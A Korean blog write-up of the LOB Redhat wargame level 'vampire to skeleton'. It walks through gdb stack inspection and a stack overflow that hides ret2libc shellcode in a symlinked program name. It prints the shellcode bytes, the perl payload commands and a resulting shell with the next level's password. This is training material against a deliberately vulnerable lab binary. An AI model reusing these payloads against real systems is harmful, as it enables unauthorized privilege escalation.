본문 바로가기

wargame/LOB Redhat

vampire to skeleton

 

2013년 10월 1일 화요일

오후 3:53

문제 소스를보면,

1.argv 사용제한이 없다.

2.환경변수 공격이 막혀있다.

3.ret bf 시작해야한다.

4.argv[1] 48byte이하여야 한다.

5.buffer 초기화된다, 버퍼에 쉘코드를 올릴수 없다.

6.strcpy후에 argv 모두 초기화 된다.

 

그럼 공격형태를 생각해보면

1.환경변수 공격 안됨

2.ret2libc안됨

3.argv[2] 쉘코드 올려도 안됨

4.buffer 쉘코드 올려도 안됨

 

여러 공격이 먹히지 않아서 답답해서 gdb 스택을 찍어보던 도중에 스택메모리 끝에 파일의 위치가 찍혀있는것을 발견햇다.

(gdb) b *main+368

Breakpoint 2 at 0x8048670

(gdb) r `perl -e 'print "x"x47,"\xbf"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/vampire/aaaaa `perl -e 'print "x"x47,"\xbf"'`

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

 

풟reakpoint 2, 0x8048670 in main ()

(gdb) x/10s 0xbfffffe6

0xbfffffe6:      ""

0xbfffffe7:      ""

0xbfffffe8:      "/home/vampire/aaaaa"

0xbffffffc:      ""

0xbffffffd:      ""

0xbffffffe:      ""

0xbfffffff:      ""

0xc0000000:      <Address 0xc0000000 out of bounds>

0xc0000000:      <Address 0xc0000000 out of bounds>

0xc0000000:      <Address 0xc0000000 out of bounds>

 

이것은 브레이크 포인트를 마지막에 걸고 실행하였으며 모든 환경변수가 초기화 되어있는것을 볼수 있다.

하지만 프로그램의 실행 경로는 남아있었으며 이것을 가지고 공격할수 있을꺼 같다.

 

근데 공격시도 문제가 발생햇다.

이전에 사용하던 공격 쉘코드로 해도 쉘이 절때 뜨지 않는 것이다.

그이유를 찾아보던 결과 다음과 같은 실마리를 발견하게 된다.

 

argv[0] 인자를 저렇게 길게 주면 뒤에 찌꺼기에 다 안찰껄요.. 저거 leav 실행 하기 전에 브레이크 걸어서 보면 아마 다 없어져있을듯?? argv[0]인자 28개 이상 주면 그 뒤에꺼는 더 안차는것 같던데... 저 리눅스 버전에서..

출처: <http://iyounges.org/m/post/comments/id/563>

 

그런건가? 그래서 한번 길이의 파일명을 줘서 gdb 찍어보앗다.

 

(gdb) b *main+368

Breakpoint 1 at 0x8048670

(gdb) r `perl -e 'print "x"x47,"\xbf"'`

Starting program: /home/vampire/./xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx `perl -e 'print

 "x"x47,"\xbf"'`

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

 

풟reakpoint 1, 0x8048670 in main ()

(gdb) x/10s 0xbfffff80

0xbfffff80:      ""

0xbfffff81:      ""

0xbfffff82:      ""

0xbfffff83:      ""

0xbfffff84:      ""

0xbfffff85:      ""

0xbfffff86:      ""

0xbfffff87:      "/home/vampire/./", 'x' <repeats 100 times>

0xbffffffc:      ""

0xbffffffd:      ""

 

분명 제대로 파일명이 드가있는데 머가 문제인지 모르겟다. 다시 검색해보자….

 

검색을 해보니, ret2lib 기법을 활용해 쉘코드를 다시 작성해 보란다.

그래서 다시 만든 쉘코드는 다음과 같다. (리눅스 유용한기능 - 쉘코드 연구 참고)

\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3

 

 

다시 공격을 해보자.

일단 먼저 카피파일을 만들어서 ret 주소를 결정해보자

[vampire@localhost vampire]$ cp skeleton `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`

[vampire@localhost vampire]$ gdb -q `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`

(gdb) b *main+368

Breakpoint 1 at 0x8048670

(gdb) r `perl -e 'print "x"x47,"\xbf"'`

Starting program: /home/vampire/몽?P1픐멘?P?`perl -e 'print "x"x47,"\xbf"'`

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

 

풟reakpoint 1, 0x8048670 in main ()

(gdb) x/10s 0xbfffffda

0xbfffffda:      ""

0xbfffffdb:      ""

0xbfffffdc:      ""

0xbfffffdd:      "/home/vampire/몽?017@P1픐멘\212\005@P?

0xbffffffc:      ""

0xbffffffd:      ""

0xbffffffe:      ""

0xbfffffff:      ""

0xc0000000:      <Address 0xc0000000 out of bounds>

0xc0000000:      <Address 0xc0000000 out of bounds>

(gdb) p/x 0xbfffffdd + strlen("/home/vampire/")   //p/x 연산을 통해 적확한 위치를 구할수 있다.

$1 = 0xbfffffeb

 

[vampire@localhost vampire]$ rm `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`

[vampire@localhost vampire]$ ln -s skeleton `perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'`

[vampire@localhost vampire]$ ./`perl -e 'print "\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3"'` `perl -e 'print "x"x44,"\xeb\xff\

xff\xbf"'`

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?

풺ash$ id

uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)

bash$ my-pass

euid = 510

shellcoder

 

 

 

//core dump 푸는 연구..

'wargame > LOB Redhat' 카테고리의 다른 글

golem to darkknight  (0) 2014.05.27
skeleton to golem  (0) 2014.05.27
troll to vampire  (0) 2014.05.27
orge to troll  (0) 2014.05.27
darkelf to orge  (0) 2014.05.27